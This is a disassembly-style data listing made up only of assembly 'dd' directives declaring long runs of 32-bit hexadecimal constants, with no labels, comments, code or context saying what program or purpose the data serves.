		dd 69BF49BDh, 286B8682h, 142CC4E6h, 5F011717h, 0C6BE9F01h
		dd 0A9E9E0EAh, 4558218h, 9D209025h, 0B8810D79h,	16A2E266h
		dd 9FE9133h, 8DEFAE82h,	0AAE88B6Bh, 0A8791BF7h,	4F4F9EF4h
		dd 0DA042B7h, 92762707h, 0A8B6F195h, 21255FC7h,	10A8113h
		dd 6E3BE1FFh, 0C8A10BB6h, 0D9B00598h, 11159D04h, 2A051C31h
		dd 4700717Ah, 744FB07Fh, 0A829019Eh, 0C13C318Ch, 0DE442AD2h
		dd 85EAD850h, 2F082641h, 4A1A9003h, 0B0FAA7A1h,	0AD9E698h
		dd 699D011Ch, 0C6E894BBh, 90AC6C80h, 2A5C9947h,	5BD80B55h
		dd 2E179860h, 3BC701B4h, 5EB7F26Ah, 0D7127B4Bh,	6D053F6Fh
		dd 0FA950975h, 0E1805345h, 8CF0D4B6h, 0BFA0C90Ah, 0CFB501ADh
		dd 28F14032h, 402C860Ah, 0EF604630h, 5335B7h, 32F05B29h
		dd 0E2441EDFh, 9D4E6FB8h, 0BA6FC985h, 908B7938h, 0CA718D0Fh
		dd 46F70Fh, 85335C3Dh, 98195EB5h, 9010F70h, 9237AD0Ah
		dd 0E22F9087h, 90FD9771h, 0E70382A8h, 0DB99C63Dh, 0D1CD80F1h
		dd 0E139B031h, 0CAB612Eh, 0A424C8FEh, 345AEF0Ch, 0B06AC580h
		dd 6B85174Bh, 55C095Fh,	0B727C5D9h, 0C671276h, 0B7492185h
		dd 7368FC03h, 10C62218h, 1F81FAF2h, 3996EB8Ch, 0F9B839A9h
		dd 8DE8400h, 0B3C1E445h, 177A9890h, 53827CBh, 0A90DADBAh
		dd 0EAA5ECF8h, 858904BCh, 0BE18BF99h, 0DBC0729Bh, 0E922EB0Bh
		dd 0FC024725h, 0B01F417h, 532CB680h, 0BE28E676h, 0C0F9C09Fh
		dd 890D1A3Fh, 8A07EA1Ch, 73E40B7Ch, 6A33F65Ah, 0CD911A7Bh
		dd 3B87FDB7h, 1804C7A4h, 2D647BBAh, 0D6EA1070h,	95B5358Bh
		dd 311C0A97h, 0C458957h, 3F4427Eh, 4B60021Eh, 5A101627h
		dd 89352D7Dh, 9524FE04h, 9A4B078Ah, 649F8245h, 77E05DE1h
		dd 45B4689h, 0DA90679Bh, 0E45EAC4Ch, 99EC2BBBh,	6096B7C0h
		dd 2C2C1BB8h, 11C54597h, 7FFC4A02h, 0BF052748h,	0F6964BE3h
		dd 0F58E00Ah, 82DF5EB7h, 0DEDE3D18h, 0FF3B1891h, 0E88620C8h
		dd 3F63D04h, 8EF01F4Eh,	8EB28B0Ah, 0E684185Dh, 0BB50012Ch
		dd 7310281Ah, 7581BF8Bh, 32E19CB0h, 50196085h, 3A2EB352h
		dd 5383310Fh, 585A5F5Bh, 9E05608Bh, 9785C981h, 23519606h
		dd 8BBF07A1h, 640CD483h, 7EDC8D8Dh, 527246Eh, 3384AAD9h
		dd 87A171BDh, 0D83ADBFEh, 280E3625h, 45F9E599h,	0ABD94E19h
		dd 5B5DC120h, 13EDA207h, 682920C6h, 3C6A3Ah, 9D430B93h
		dd 0AC9FDEFh, 0E19BD2Bh, 2474A19Ch, 0CE3100A1h,	85C77893h
		dd 5CAE62B9h, 0B291D42h, 4BB27208h, 272FD226h, 0BDC87ECh
		dd 56EEE912h, 0B8AEADB4h, 24FF73B9h, 0F25FBA6h,	30637CCCh
		dd 4483110Ch, 0E8C10198h, 0ED4107Ah, 124C3F8Ah,	0E4D05803h
		dd 0DD36EBE7h, 6443E036h, 1B63E19Eh, 28293450h,	58180C21h
		dd 57D00113h, 2693901Bh, 4D08BDC0h, 0B99D8934h,	0B6D16BE2h
		dd 0D8012E00h, 0F7E65Eh, 6E8CF65Bh, 0EEC6F854h,	388D1C25h
		dd 0E9B78522h, 4371C348h, 3A4C41Dh, 3117AEAh, 6DFC88B6h
		dd 996610B0h, 5FE5123h,	0AA6EBB33h, 0E5712801h,	20D4CF80h
		dd 1040E168h, 1288250Fh, 72E1EA7Eh, 8DC47D2Dh, 644B9C53h
		dd 3F4AD55Fh, 1B23EDh, 0BDD3A2C9h, 0F02CF3ACh, 1060A6BAh
		dd 7D4BBE2h, 0DD58AF41h, 0B9EFF79Fh, 0C72D1B02h, 4E18C5Fh
		dd 0F1BD1303h, 3408212Eh, 0CD6E2F24h, 4987B100h, 414CB8EBh
		dd 4FB57756h, 7C2A4AC2h, 0F504F35h, 138D31FCh, 93890951h
		dd 1C26D883h, 2C598519h, 2F02F66Ch, 0E09B0A27h,	0BFCE9B3Dh
		dd 0CA7A51D0h, 1C90B5A6h, 36300DC9h, 0D8493C40h, 27AA0116h
		dd 0DC79FDDFh, 89482058h, 0C48687A0h, 0DB8135C0h, 4FD92146h
		dd 9A687461h, 16C0C0ADh, 9FC0262h, 1EE3BC2Fh, 0DF07A081h
		dd 0C29420F2h, 2AF0044Fh
		dd 200C41A5h, 0FA7AB77Eh, 0B320500Bh, 581C024Eh, 0C9D4FAD4h
		dd 0B85DB8AEh, 25D479h,	340B463Ch, 41158113h, 9CC49E00h
		dd 0AB764E92h, 0FF470586h, 0B831B529h, 916595E1h, 0F8C759F4h
		dd 0B3704AC9h, 6B4A510Bh, 0F780E8D0h, 6BCDBEA6h, 527059D3h
		dd 54C11D98h, 66264135h, 3033A259h, 0F980133Fh,	0E504F96h
		dd 0F6D789F3h, 0D122E1C9h, 0A537530h, 0FE8BDD45h, 961CE8Fh
		dd 884244F7h, 10729D0h,	3C8DF3BBh, 65813062h, 5E11EEE1h
		dd 2D375FA5h, 929A9D00h, 3C4F576Ch, 778281B5h, 501C5C1Fh
		dd 0F40FF4F1h, 0B249AF98h, 60A3FF56h, 8C91A200h, 5CB2B913h
		dd 0E1375E6h, 0FE3399B8h, 26B5C8E8h, 0F1240087h, 0AB83019Bh
		dd 4A0AC79Dh, 815BF453h, 0F8F781C0h, 0A0D0722Dh, 80043982h
		dd 0A305BF60h, 910F537h, 481986C6h, 0B9A42F61h,	3FA8A2h
		dd 8C7CB299h, 718D010Ch, 84442C4Ch, 2FE60DCDh, 11758A00h
		dd 73B89833h, 0D9E7EE01h, 0FC617763h, 5D6D042Bh, 0D1020A28h
		dd 9043C11h, 0C8186585h, 27D74958h, 5F8B386h, 24C212E4h
		dd 2D7AEFC6h, 0B64B8D16h, 736E5869h, 0F9C22341h, 252B9133h
		dd 0E97F489Dh, 0F3F25BA7h, 7A6A5F90h, 5584704h,	7495822Ch
		dd 1BCFEEE8h, 43342FF9h, 394304FFh, 11E91013h, 3060182Dh
		dd 6880ED7Ch, 0A624505Eh, 3F2191C0h, 0E4B40075h, 9BB32C96h
		dd 0BA05D2EBh, 5FF4B5A4h, 0F70E81AEh, 47E206Ah,	0D09B244Eh
		dd 0CE4BA81h, 63E14460h, 0C14A899Bh, 0E62BE087h, 1098BEh
		dd 332BA79Fh, 2187991Ah, 54D1F4C2h, 788AFB19h, 0E33DC667h
		dd 0DEA78028h, 95892C49h, 1ED19719h, 50A098AFh,	0FD8E67B3h
		dd 6090B931h, 0A4A810Fh, 0C62E29Ch, 505EBA8Ch, 9513019Eh
		dd 0A3240B7Dh, 89C202B8h, 0FAF6058Dh, 9FF26625h, 0FE1D3137h
		dd 0C7707800h, 4A80FB67h, 14E4E0C6h, 105CDE82h,	0D1FF161Ah
		dd 0B14A7BBCh, 1E282EE1h, 7A6FE15Ah, 5F5B01E8h,	94E0E33h
		dd 8903CC60h, 69929402h, 8A3093ABh, 4CE3498h, 9A807FD7h
		dd 0F404A827h, 0ADA1C252h, 621D672Eh, 0FE2228D5h, 0DB201C0Ch
		dd 40F29E54h, 36FE765Bh, 722C733Ah, 0E32F15F0h,	7391FB01h
		dd 92D0C0D0h, 0E9E81A62h, 28710923h, 7927BBA0h,	5E053A13h
		dd 9402D4C0h, 0DCC686F8h, 0C1E65C3Fh, 2A41B509h, 942B0289h
		dd 92D1ADF2h, 60F32200h, 95800F69h, 0FE9287D1h,	0A84CD3E3h
		dd 0EA706A27h, 0E92B5954h, 8A983AFFh, 0C1A50289h, 7F16D7DFh
		dd 77BDDAC0h, 0F9448B03h, 0C77BA8E6h, 119F7369h, 31D9490Ch
		dd 259546B0h, 75109023h, 70E61724h, 854A88h, 3BFFA1B1h
		dd 5A4984E2h, 62E8E44Bh, 8818D5C0h, 5E004D9Eh, 0FA8C22C1h
		dd 7DF0A6B6h, 12DA7597h, 0E45FDF8Bh, 988C8C5h, 0E31D4D8Dh
		dd 0B3C1C14Ah, 18B62B7Eh, 202B3E51h, 0C99FBBC6h, 0F0132326h
		dd 70F9C837h, 0E4F55FC1h, 25449D16h, 81C8002Bh,	1BD39D7h
		dd 0D1048B59h, 49B58952h, 0E95B9391h, 0F92C3562h, 3BCB2D6Bh
		dd 56962DFh, 7255264h, 24C0C457h, 62EEC36h, 205B8A14h
		dd 9D19EAB0h, 86CF11C9h, 0B312FA3Dh, 109EE462h,	3EC1BF88h
		dd 0E9133555h, 0E1D88841h, 0CD2A2041h, 516341ECh, 9D622E2Ah
		dd 0DE919826h, 14A6E666h, 1CA583BEh, 1257FE12h,	315DE54Fh
		dd 0AB206E28h, 257911BBh, 9ACC31DEh, 0BDE1BC20h, 83C11D6Dh
		dd 0C7F93F5Eh, 5990F220h, 0A64C1A02h, 5F9D610Bh, 46D66E76h
		dd 1B4E0517h, 9814BE76h, 0B99840B2h, 0BD0DD22Fh, 1C7902DAh
		dd 0A482CC06h, 955C0ADCh, 823EBB01h, 86231316h,	0A280B700h
		dd 6CF5B4E4h, 0FC4D01ECh, 20112DEFh, 6DADF705h,	9BC04F2Bh
		dd 4D6380CAh, 0D49BB51h, 5B700AB5h, 58922AECh, 80D890BAh
		dd 8F8D4BDBh, 0DD745089h, 239E105Bh, 894B897h, 800CE97Ch
		dd 1481B0D1h, 0CC021692h, 5F1D4AB1h, 2D935C85h,	8D0099BDh
		dd 0D97379DAh, 6B2EFD27h, 12142398h, 4A8AE310h,	49D369CAh
		dd 4C3D25DFh, 8F4CBE82h, 0D4097569h, 5A442859h,	7BE78140h
		dd 20E3657Fh, 0FC1CDB17h, 0FB2DB88Dh, 98DF803Dh, 7C1F66C4h
		dd 0CEADEB09h, 0C9347EAEh, 23921959h, 59131209h, 336DA7EDh
		dd 85042245h, 0DC142F15h, 0B26DA912h, 41A85F2h,	0F301F87Bh
		dd 6E136B20h, 6655C291h, 2E8D00AFh, 6770D853h, 6E0F81CAh
		dd 4F5B1D37h, 2FF1CB01h, 0AE21266h, 6E85EC8Dh, 560A2682h
		dd 0A5A371EEh, 0DEA15C26h, 7FD02302h, 77DF4983h, 772FA710h
		dd 36A40D06h, 0F8AD89h,	985D6A0Ch, 8804E5B2h, 0F8604A14h
		dd 89E8C0EDh, 1CA7BBFh,	327EB85Dh, 0C89C6FADh, 3254DB5h
		dd 56FB6226h, 0CF17DCCFh, 1C043110h, 8D1221C9h,	2122B03h
		dd 0AA80B8DBh, 7B8B8C29h, 0BBDE7601h, 3EEE8D03h, 120D482Eh
		dd 40E5ED6Bh, 14F31061h, 906AF3BEh, 99AA1A02h, 57905536h
		dd 207DC3E1h, 96112E12h, 34FE2B3h, 0C9EB8113h, 3F3409B9h
		dd 4F1C6h, 310F5B56h, 585AEAB7h, 0A550ABB5h, 0AEE28A74h
		dd 0B1D0E301h, 0B5F8182Dh, 5EAC1ECEh, 0F581F3A0h, 7A3BB700h
		dd 0D62A9CBCh, 0EFE80002h, 68B4735Eh, 402DFD3Ch, 6689627Bh
		dd 14EE9F24h, 0BB8ECD60h, 0E56F3668h, 0E83298B2h, 0C98A10h
		dd 0AEEE08E1h, 5A802C9Dh, 921635C1h, 6102379Ah,	0C309E07Fh
		dd 7B5F28FEh, 9530BA0h,	4EEE64C9h, 0D47B94h, 4E550DAEh
		dd 3641FD37h, 0F88BAC12h, 0E94FBDB3h, 7049CFB3h, 908FE912h
		dd 0F95BB3Fh, 7D729A95h, 12097004h, 0DB5E5BA3h,	0E5E893EEh
		dd 0B5618688h, 0A80412BDh, 27E69664h, 67A255F0h, 0F7A4EC04h
		dd 42F09D39h, 87BB9525h, 1041D81Ah, 0F367800Dh,	499CA8BCh
		dd 0B8E734Fh, 0DBE0ADA9h, 0B7BD4689h, 91A0834Bh, 0CDE8E362h
		dd 6D197E2Dh, 7DFC60CAh, 0B9669F81h, 6E610746h,	18161025h
		dd 0FF866C9Bh, 2169FCD5h, 0AF3C51E5h, 0B8C08C6Dh, 5B852956h
		dd 687A80A9h, 4C2DEAD0h, 0D5330AF0h, 0D2192F02h, 709BFB0Fh
		dd 701643F0h, 8AE11BB8h, 8140302Ah, 501589CFh, 269043F4h
		dd 6DAF0FFAh, 2F3CC07Dh, 0FC0A1B7Ch, 9753BF66h,	0A9086D88h
		dd 718BA8C8h, 0C0614AE1h, 0F4DAD99Bh, 0ED2D2AEFh, 0F205C52Bh
		dd 0DE358927h, 23EF608h, 8BD801BCh, 8EAF87A7h, 669AC88h
		dd 2D39512Fh, 0F0F98D9Ah, 601C26D7h, 55A05B79h,	4BDF833Bh
		dd 38096AF0h, 18DC01BDh, 45C85E0h, 671AC487h, 300E7DC0h
		dd 86262E72h, 0CED09D1h, 27C20659h, 0CB86D604h,	10607054h
		dd 905B31BEh, 0C038B683h, 0CFDC01CBh, 0D68D1B4Ah, 41B98360h
		dd 62800D05h, 0C91E0947h, 0AED0533Dh, 7E09D47Ah, 829DFF33h
		dd 0B0DD131h, 198BEE6h,	0CC24B127h, 1AD99782h, 0BFF88312h
		dd 0C196809Dh, 0AC9E592Ah, 0AE58CA0Bh, 5B5DB167h, 887E50C5h
		dd 220B2AF1h, 6434C727h, 43520608h, 0BCF9891Ah,	0B79F24FAh
		dd 20770043h, 43D8CC0Fh, 4197C0E4h, 0DEAF526h, 42D16EF0h
		dd 0C94DD88Ah, 0F16F3Fh, 254E891h, 13D326Eh, 0FBBF3B63h
		dd 2B6DBD11h, 0BBBD2835h, 0F601D7B8h, 6B231420h, 373071D4h
		dd 1994907h, 398C1BB8h,	3B02FA33h, 0BFE2ACF6h, 7D9F982h
		dd 0B3E26B56h, 492856FBh, 8998B7FDh, 4B85F8CEh,	0B70F944Dh
		dd 0ACD14915h, 0C7AE0978h, 0AB845945h, 133EACD9h, 52BF9D29h
		dd 2A39A1A0h, 9F043734h, 39AC394Bh, 0C40FDE5Ah,	0D5826D53h
		dd 2993A71Dh, 8A022D62h, 41093A68h, 79EC7318h, 12321817h
		dd 0B7FE1146h, 0B5DA5F36h, 74DD9780h, 0DC1D1194h, 0E500EF81h
		dd 23603F50h, 6D12D8Dh
		dd 2EA15DA2h, 0E4380B0Bh, 59BE0042h, 968354Ah, 0B62CCCEDh
		dd 9E0B7690h, 72C6460h,	952C20DEh, 81002E1Fh, 0BF4DB9C4h
		dd 726C9F0Eh, 995E692Ah, 0A2303007h, 594B1249h,	82FF2461h
		dd 9EB2D9F2h, 0B2F8DF02h, 0CD6B5156h, 4EA1C0B2h, 136FE80Bh
		dd 190E317h, 2FC7C8AAh,	9A570091h, 1C2B3264h, 0D2044058h
		dd 5FF88F71h, 35A284ACh, 0CD958921h, 0BC4AF768h, 7C57261Dh
		dd 61EA8A06h, 1AED9DD5h, 90DE5CC0h, 6B430A19h, 0E28AC2B4h
		dd 5856DA8Bh, 2BDB76Bh,	0C0617301h, 0DDA60A41h,	0A0A3754Ah
		dd 0CDB5375Ch, 505DE01Ah, 0BCC4BFE6h, 2F81777Bh, 742B172Dh
		dd 0B8E8ED75h, 0BF054896h, 958C927Fh, 48448414h, 0A180EEF9h
		dd 0D863601Fh, 0C604EB00h, 0C9864532h, 9BB53507h, 8F72B866h
		dd 279A5661h, 4EF6D6D6h, 12FFE898h, 0B2B0A80Fh,	0CBF84A8Bh
		dd 80286F90h, 0D4E9BF6Fh, 5AFF71F3h, 9B7C13B3h,	825F822Ah
		dd 88B8D5A5h, 5482191Dh, 8F7CA58Dh, 0F64600F4h,	3C150AC1h
		dd 72942D56h, 30F09013h, 71C883C2h, 44E8C6Dh, 0F9608F0Bh
		dd 0EB803DECh, 0C7E5879Dh, 0D400E4C2h, 6BB16FB8h, 73B66072h
		dd 2616405h, 84B28490h,	9B9FBFB4h, 4055B780h, 1B073A29h
		dd 0B4270982h, 35C5F93Bh, 14466F56h, 9A977E9h, 5E1963F2h
		dd 0CE248942h, 80BFBD5Dh, 7DB189C2h, 6155F9D9h,	418128ADh
		dd 0D94C7CAEh, 0B250FE16h, 0B3901EB7h, 0F57B78D7h, 13FED390h
		dd 4887FC81h, 3945B509h, 2A6AD259h, 5B2DF109h, 181D79D2h
		dd 0C1B500BBh, 0F299FF4Fh, 0D276D984h, 3720D15Bh, 2F676FBEh
		dd 5C690D3h, 45D11495h,	0F1FC60AAh, 0B801240h, 26AD3E7h
		dd 5570D6D3h, 282704FDh, 82E1B350h, 0EA29991Dh,	4210F559h
		dd 67000AEBh, 880C8204h, 0A05F5B62h, 25BF66DBh,	947C1981h
		dd 3F1946D4h, 9565057Bh, 0FCAF09Eh, 8F6A4Eh, 0CF8CAD11h
		dd 58BC494Eh, 0F82DC2F5h, 85C19A74h, 0E900156Dh, 16970DADh
		dd 80FC4821h, 76E8ED59h, 4CED890Bh, 6DD47464h, 0C55CF20Ch
		dd 0C01ACD2Fh, 0EAC15688h, 8F60F09h, 0E9615CF8h, 54ADCDB5h
		dd 0D6D58F92h, 9501BEA1h, 510A2B05h, 0C43B9C90h, 125A38BBh
		dd 0A7F2712Fh, 4899904Bh, 1D11A141h, 0D842292Eh, 83ABA5BDh
		dd 0C6D93C25h, 0E3BB033Dh, 6A575AC7h, 0B918A9E4h, 0C1E4D43Fh
		dd 2E2E0DF6h, 38A0C9E7h, 0C0BFD825h, 810AB126h,	67622E5Bh
		dd 6F642946h, 0F7426E07h, 0F8928817h, 8315CB0h,	0E6051125h
		dd 831E5170h, 5F252250h, 0A1965FFEh, 182563AFh,	4BC75D4Ah
		dd 24FC8B95h, 8077A8A5h, 0AF920F1h, 0D1CB593Dh,	0E237EF12h
		dd 5081595Bh, 5417D7Ah,	9BBC430h, 44D9919h, 0FC456170h
		dd 0A13680DAh, 37D431h,	697B34B3h, 6B27868Bh, 0F518D809h
		dd 401A5CE8h, 70374B50h, 0C72D6C00h, 3106CBDAh,	5B380133h
		dd 8529C82Bh, 0D7436F95h, 0B28B9BDh, 0E9F8D10Dh, 81C25474h
		dd 9DC20E27h, 851002E5h, 191BD18Dh, 0E0F50070h,	963231D7h
		dd 5E04CBF2h, 4B5BDAB7h, 9D2742AEh, 0A55C0FC1h,	9A013CB8h
		dd 56123389h, 2624918Dh, 7125B860h, 232F40DCh, 32005F54h
		dd 15A830C4h, 22BB4D2h,	61FC2D4Eh, 0B7993EE9h, 98C6FDFh
		dd 9C1197F8h, 0A385082Bh, 85A5FA61h, 0E102FE16h, 0E2FF3FD3h
		dd 51790414h, 3A31CDFBh, 975F1BCCh, 0F145A130h,	0E63D9Fh
		dd 0D19BA1F5h, 1095A84Ch, 0E3FE31h, 39752260h, 0B7EA383h
		dd 91030C74h, 0D21D2F63h, 0F470414Ch, 0B67CB2Ah, 2265BD2Bh
		dd 0CA82B9B2h, 0FA55802Ch, 973E5F7Ch, 0A874790Bh, 8AC504DCh
		dd 0BC031440h, 0CDFC25C9h, 2E51C27Ch, 0BBFEFCE0h, 2D1FD304h
		dd 5FF8B866h, 1211A5C4h, 0F5A830EBh, 4C3AAA0Dh,	8949805Bh
		dd 59C912CEh, 545F7AFCh, 97DE20BAh, 5CC4961Eh, 60A702C5h
		dd 0BBE0C1A3h, 0CE16D18Dh, 0E9F88FAAh, 0AB950F20h, 79D3DB8Fh
		dd 58DFF0A0h, 498D4713h, 46F7ACDh, 0B8BDB23Ch, 0C781DE78h
		dd 3180CEE1h, 0D2E7CB2Ah, 0CCA9BCE9h, 101351B9h, 61FC7B03h
		dd 2838809Eh, 0A68CCE9Bh, 0B6107E0Fh, 0CB5545BCh, 0C7AAC8AFh
		dd 94D05200h, 686EB86Dh, 29BC0C58h, 5BC3B595h, 58B731E2h
		dd 47CFB7E1h, 0AB477241h, 0A79C9640h, 0CA14975Eh, 0FA314B68h
		dd 0ED9200DEh, 0D25209A7h, 57B05F7Bh, 57DCCD59h, 0F5F54A5Ch
		dd 0BBD8352Bh, 0C8014CCh, 0E1FF31CFh, 95EC92Eh,	20B14776h
		dd 564E045Fh, 7189FC87h, 4684284h, 42024F5Dh, 3C51BFFEh
		dd 4182380Eh, 0F7EDA22Bh, 928EC2EEh, 406C7EFEh,	0BC33F5E5h
		dd 0A83C0700h, 1480B9E1h, 5A6505C3h, 87AABFB2h,	9D3311B6h
		dd 0E1B578DDh, 0ABA0D686h, 1E912081h, 0A76E605Bh, 6280DE38h
		dd 0B766ACFAh, 8A2522F2h, 82AAC2D9h, 5526E1CDh,	0C29688BFh
		dd 565588h, 0FCE46AFDh,	8F5BDE29h, 4BB20E00h, 32F77749h
		dd 2F1A972Ch, 0FDD57586h, 9E975F4Bh, 3B8BAF08h,	0B5A575F3h
		dd 471304D9h, 0D28EB8E2h, 0E78074DBh, 0E9F1E276h, 0EADCA31Ch
		dd 6BF1DBAh, 50626885h,	32FCAD12h, 7E66F98Dh, 68517000h
		dd 127B96C6h, 97800F9Fh, 0A347E163h, 0E854F231h, 96D390Fh
		dd 0DC8CFE60h, 9BFB4003h, 0AB683753h, 8AF7C023h, 773A97FEh
		dd 1FD4317Eh, 4A36A995h, 10A3013Ah, 77D94A26h, 0B3C57FF2h
		dd 7AD82D00h, 1730CBBh,	0F1392302h, 0C80BF796h,	59028EE6h
		dd 0E96AAB3Ah, 9FAA1A8h, 55CE8995h, 1491FE37h, 0CFF63C8Bh
		dd 25327425h, 3DDFA862h, 5588803Dh, 29B9C5Bh, 0A534BB3Ch
		dd 9BB1045h, 0D49F02B7h, 0F814D235h, 5513B855h,	66028507h
		dd 7875F5BBh, 9DAC840Fh, 0BBE1626Dh, 9C300B7Fh,	0C4408233h
		dd 6E950C01h, 196EC419h, 92B3B922h, 0F8097DAh, 23C0EDB5h
		dd 9D897704h, 0B3162F81h, 0A16700F6h, 0D0210A55h, 74F0034Dh
		dd 0EBC69F19h, 0B6BF898h, 0F60DB0Dh, 51C23182h,	807D1FFCh
		dd 27E95DD5h, 0CA099DD4h, 870C9A2Fh, 0C6FB2157h, 86A58070h
		dd 0F78102C6h, 7063BE7Eh, 46D6C35Ch, 997D001Bh,	9ABE0BE0h
		dd 0BF7201F5h, 48633D0Dh, 38EE2060h, 3EB85Dh, 6861C225h
		dd 4B237BE2h, 2CBB3D3h,	636BC3BBh, 1DF4483Fh, 2CFB0088h
		dd 0C9ED8060h, 0D55EBD89h, 4A97612h, 9D56318Bh,	8FC45044h
		dd 235231AAh, 1393567h,	2E06E1E9h, 5661A771h, 0C09FD52Ch
		dd 2C6585B0h, 48049668h, 5BF5C3A4h, 2D2B15B1h, 0F00866B1h
		dd 763B1CFCh, 475D1729h, 0C078305Ch, 6010EDBh, 35DCC45Eh
		dd 0DD40EC6Ah, 975F5C20h, 50690614h, 5410DF39h,	3013933Fh
		dd 79AFBCC1h, 907B1014h, 0D005E21h, 25F34F05h, 2F438CE1h
		dd 0E94AE95Fh, 76E52F4Dh, 22E3FD02h, 75005E62h,	784AFBC9h
		dd 50B50F2h, 70BE4094h,	78C59B45h, 4E0BBA9Ch, 72870FF5h
		dd 9795980Bh, 0F5693714h, 0EE3C15Bh, 6B4BD92Eh,	0C2093DA2h
		dd 1C16099Fh, 4141D56Fh, 39B2CD9Dh, 0B2D2BC7Ch,	5BA40293h
		dd 5E76CC2Dh, 0C781601Ah, 912A4E80h, 0EB7C1646h, 7D02BD12h
		dd 6A4B17E7h, 62D50715h, 79D932FFh, 0CB5EA713h,	96270C10h
		dd 29EBE07Ah, 726B8FBh,	62973AFDh, 13870B9h, 0A79D319Dh
		dd 0ABF9BDCEh, 59BCDB2Ch, 7D2F181Dh, 0A40901BFh, 4E856B32h
		dd 0D6342E67h, 4EBE0EC5h, 59C42939h, 328AB24h, 941A97DEh
		dd 9456A7CAh, 0DE1774A5h, 13A144BFh, 0F24EC4C0h, 5E2A003Ch
		dd 0E23F9840h, 0A9227A0h, 0BDFE281Ah, 0E4ED0F9Eh, 0DC10958Ch
		dd 5B009EEEh, 70D7694Fh, 13534BCCh, 6C3767h, 0ABDCC10Ah
		dd 0B97615Fh, 0F595059Ah
		dd 0A0AC8E94h, 0AD10F8D0h, 0A2C44A12h, 0F80BB9Fh, 0EE2329ABh
		dd 0C6515712h, 8224A412h, 9E8460EBh, 8BFF970h, 7C69FF15h
		dd 1412DE2Ch, 0CF3017A9h, 221182h, 0A73ECFFCh, 718D2940h
		dd 0AAB648B2h, 21846D6h, 333A91A8h, 65985FFBh, 0AB979589h
		dd 303D4054h, 0B79612EFh, 1E33EC77h, 33136BFBh,	3D241509h
		dd 8216117Ch, 6A5A0B5Ch, 48066889h, 0A83A97BBh,	0AD507CFBh
		dd 0FC603822h, 91C561A5h, 0B5317827h, 8E0A34Dh,	0BAD88A50h
		dd 60228D9Bh, 33BBF5C7h, 3B1F5315h, 0F8D45DA4h,	0B5BD3D03h
		dd 0C59060C0h, 0FBC9815Eh, 61E4497Fh, 0F8BCD71h, 4B23338Eh
		dd 0E57CE788h, 0F09B4ADh, 0A672D8B7h, 0D0ACFB9Fh, 4B5E9CAh
		dd 0A6B82C3Ah, 0EF8552E3h, 23005A7Ah, 0FF788505h, 3C984748h
		dd 0B5AEBA95h, 713884E7h, 5308FB95h, 52C61311h,	0D2B0B27Fh
		dd 0E3E048A6h, 4B002F21h, 8137E2B4h, 4BE94851h,	8BD08144h
		dd 0C02C5AC1h, 99B6F7DBh, 7AB2ECABh, 0BE214DEEh, 0F94B1820h
		dd 7AEBD095h, 0AC512647h, 8A270211h, 56AFDF74h,	8E49604Dh
		dd 0F45B917Ah, 9526B486h, 30534D11h, 1040ED43h,	876FB55Bh
		dd 47B7A140h, 20E52ED6h, 14F90895h, 0E0EB8009h,	0C551B723h
		dd 0AA740BF4h, 0A841D9Eh, 0EB57840Fh, 0B84EC9CAh, 0EB04965Fh
		dd 1D85DFBFh, 0ACFED4AEh, 3FB64AD3h, 0F599C4E3h, 0C578AD07h
		dd 79580038h, 0C2698E1h, 4C1BEC01h, 4EBF76FAh, 4FA74FF0h
		dd 5B6EE350h, 90D390ECh, 0F95BBFD1h, 6ADF8B12h,	65BCD2B9h
		dd 0D3806200h, 81F88B5Dh, 8F760BEFh, 0C256219Dh, 5218A588h
		dd 0AFE065CDh, 93AB6E6h, 71EDCC92h, 6B0393C4h, 3175AA4Ch
		dd 0AD5F9840h, 0A43E027Ah, 473DEE69h, 1B5994C2h, 5FA27E85h
		dd 9DEF60ABh, 0ABC916B9h, 7381FBD1h, 69F87FBBh,	0AA2D0F6Eh
		dd 5E81E636h, 4AE0A803h, 9888FCA3h, 5C8D8989h, 26A8B17h
		dd 0BAE7AA00h, 604F505Bh, 32000FA3h, 7B91CBEBh,	3AFE81D4h
		dd 60B870E5h, 0D84C369Ch, 7C55C45h, 2AE4D802h, 66575FEEh
		dd 0FD614E89h, 8D6E4A2Ch, 67B3D800h, 0ACC4AED7h, 759D3309h
		dd 43216834h, 3C8E2E3Bh, 0F53AD7Ah, 7EE3D8h, 18E8754Bh
		dd 8A1F7825h, 0E9FCDA09h, 0C219797Ch, 0F017415h, 1BAD0C89h
		dd 4AF0DD9h, 0E71418F4h, 0ED9637C0h, 3D25AB63h,	64E8CDF9h
		dd 73D46019h, 122519CAh, 0D6B5726Eh, 5BA89004h,	97A0688Fh
		dd 20B440Dh, 0FCCECB01h, 0C8B707FBh, 30BFFC40h,	7ED713F4h
		dd 8FE2DB90h, 0A4B5E041h, 4B12631Eh, 3B14D94Ch,	258D84B4h
		dd 17E509C9h, 0E822BF01h, 9D6B420Eh, 0A8216D23h, 590D0EEAh
		dd 0CD400BBFh, 14CEF26h, 8D94BD5Eh, 0FFF980AEh,	39C013E8h
		dd 9F0E1205h, 0CF073DA5h, 47F77280h, 0D2AFD96h,	0E1A6190Bh
		dd 2619774Fh, 9584705Fh, 0E9055Bh, 6D1252E8h, 29B237B6h
		dd 4A39984Bh, 242E5C8Ah, 930C10B5h, 4D1061BBh, 70E60116h
		dd 46141CA2h, 1A3D1087h, 0E71E414h, 49952981h, 4A322F0Ch
		dd 0CFD0290Bh, 7E4D0997h, 377B4088h, 0B00011A0h, 0DF217341h
		dd 14D63D77h, 957182F3h, 6D73592Dh, 3D045093h, 5B0C07F9h
		dd 93D7250Eh, 886552EAh, 68684A5h, 6E1DE6Ah, 892DC656h
		dd 6C41D42Eh, 79970914h, 0CCBF80DBh, 0E91E2268h, 70210E44h
		dd 317365h, 12047710h, 54D8E7F7h, 0C82B3212h, 0F5008EA8h
		dd 0BFD18BA1h, 27E67EC2h, 0A444E954h, 380D2C05h, 49EE858Bh
		dd 3C78F508h, 0C908D97h, 0A10A823Bh, 42397229h,	7DB0002Ah
		dd 2666DBBEh, 0E9611757h, 7DEA9C55h, 31058700h,	0FC81C8F0h
		dd 0FA860054h, 431B4108h, 0F33F2EEDh, 2BCFD55Ah, 0BD0810B6h
		dd 84C20BADh, 7D1E2C24h, 0A3A50244h, 22447D1Bh,	955128A9h
		dd 0FD0C8B70h, 51785C10h, 7F60C294h, 0ED02E5BFh, 9D094756h
		dd 6BA95585h, 1DE03F4h,	9CCA58B6h, 95727EF8h, 4AF905B2h
		dd 6FA8E7B2h, 0F8FE6017h, 0F5B9490Bh, 0C5B768A9h, 0E08B978Fh
		dd 0A2782235h, 0D9B9D2Ch, 4F0492C0h, 8997C9FAh,	9E79F376h
